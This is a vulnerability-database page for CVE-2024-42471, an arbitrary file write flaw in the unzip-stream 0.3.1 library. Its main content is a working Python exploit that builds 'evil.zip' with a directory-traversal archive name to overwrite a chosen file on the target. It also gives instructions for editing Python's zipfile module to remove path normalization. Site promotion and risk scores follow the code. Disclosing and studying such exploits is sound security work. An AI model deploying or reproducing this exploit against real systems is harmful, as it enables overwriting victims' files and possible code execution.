Lucene search
K

πŸ“„ unzip-stream 0.3.1 Arbitrary File Write

πŸ—“οΈΒ 30 Apr 2025Β 00:00:00Reported byΒ Ardayfio Samuel Nii AryeeTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 80Β Views

Unzip-stream version 0.3.1 enables arbitrary file write via crafted zip arcname, CVE-2024-42471.

Related
Code
# Exploit Title: unzip-stream 0.3.1 - Arbitrary File Write
    # Date: 18th April, 2024
    # Exploit Author: Ardayfio Samuel Nii Aryee
    # Software link: https://github.com/mhr3/unzip-stream
    # Version: unzip-stream 0.3.1
    # Tested on: Ubuntu
    # CVE: CVE-2024-42471
    
    
    
    # NB: Python's built-in `zipfile` module has limitations on the `arcname` parameter. 
    # To bypass this restriction, edit the module's source code (`zipfile.py`) and comment out the following line:
    # arcname = os.path.normpath(os.path.splitdrive(arcname)[1])
    # For a more detailed explanation, feel free to check out my blog post here: https://themcsam.github.io/posts/unzip-stream-PoC/
    
    
    import zipfile
    import os
    import sys
    
    file_path = './poc' # Change to the file which contains the data to write
    zip_name = 'evil.zip'
    path_to_overwrite_file = 'home/mcsam/pocc' # Change to target file to write/overwrite
    
    if not os.path.isfile(file_path):
        print(f"Error: File '{file_path}' does not exist.")
        sys.exit()
    
    with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(file_path, \
        arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}')
        print(f"File '{file_path}' has been zipped as '{zip_name}'.")

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2025 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 3.17.5
EPSS0.0771
SSVC
80